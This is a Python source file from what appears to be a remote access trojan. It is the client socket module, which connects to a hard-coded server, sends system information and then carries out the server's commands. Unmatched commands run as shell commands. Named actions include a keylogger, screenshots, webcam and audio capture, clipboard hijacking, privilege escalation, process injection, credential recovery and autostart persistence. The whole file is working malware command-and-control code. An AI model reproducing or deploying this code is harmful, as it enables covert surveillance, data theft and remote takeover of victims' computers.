summaryrefslogtreecommitdiff
path: root/client/socket.py
blob: 26b32c52c74191f8b89df7198f8d9d5d9527f18b (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
'''
    Handles the initial connection to the server,
    adjusting the server settings, sending the
    initial client information & directing
    actions based on server requests.

    Verified: 2020 December 30 & 2021 February 6
    * Follows PEP8
    * Tested Platforms
        * Windows 10
'''

from client.error import ClientError, ReconnectError
from client.sysinfo import Sysinfo, Interval, Shell
from client.helper import ClientHelper
from client.state import ClientStatic
from shared.state import Static
from shared.data import Data
import client.action

import socket
import sys
import os


class ClientSocket:

    __CD = 'cd'
    __CD_LENGTH = len(__CD)
    __RAW_LENGTH = len(Static.RAW)
    __EVENTS = (
        'screenshot',
        'clipboard',
        'keylogger',
        'autostart',
        'download',
        'escalate',
        'snapshot',
        'process',
        'recover',
        'sysinfo',
        'desktop',
        'clipper',
        'webcam',
        'python',
        'upload',
        'inject',
        'system',
        'browse',
        'audio',
        'alert'
    )

    def connect(self):
        with socket.create_connection((Static.IP, Static.PORT)) as sock:
            Data.send(sock, None)

            collect, ClientStatic.STICKY = [
                bool(setting) for setting in Data.recv(sock)]

            if collect:
                Data.send(sock, Sysinfo().collect())
            else:
                Data.send(sock, Data.message())

            while True:
                data = self.__response(Data.recv(sock))

                if data == Static.DISCONNECT:
                    sys.exit()
                elif data == Static.RECONNECT:
                    raise ReconnectError
                elif data == Static.UNINSTALL:
                    ClientHelper.uninstall()
                else:
                    Data.send(sock, data)

    def __response(self, request):
        message, lower = Data.lower(request)

        if message in (Static.INTERVAL, Static.ALIVE):
            if Static.WINDOWS:
                if ClientStatic.WEBCAM:
                    # NOTE : The VideoCapture library does
                    # not allow freeing of vidcap.new_Dev
                    # instance in a thread, as this will
                    # deadlock the entire program. This
                    # makes sure it's cleaned up when the
                    # webcam deconstructor is called
                    for key, capture in \
                            ClientStatic.WEBCAM.copy().items():
                        if not capture.alive:
                            del ClientStatic.WEBCAM[key]

            if message == Static.INTERVAL:
                return Interval.collect()
            else:
                return ''
        elif message in (Static.DISCONNECT,
                         Static.RECONNECT,
                         Static.UNINSTALL):
            return message
        elif lower[:ClientSocket.__CD_LENGTH] == ClientSocket.__CD:
            return self.__cd(message)
        elif lower[:ClientSocket.__RAW_LENGTH] == Static.RAW:
            if lower[ClientSocket.__RAW_LENGTH:ClientSocket.__RAW_LENGTH
                     + ClientSocket.__CD_LENGTH] == ClientSocket.__CD:
                return self.__cd(message[ClientSocket.__RAW_LENGTH:])
            else:
                return Shell.run(message[ClientSocket.__RAW_LENGTH:])
        elif lower in ClientSocket.__EVENTS:
            return getattr(client.action, lower)(request)
        else:
            return Shell.run(message)

    @ClientError.general
    def __cd(self, message):
        os.chdir(message[ClientSocket.__CD_LENGTH:].strip())
        return Data.parse(f'New directory: {os.getcwd()}', status=Static.INFO)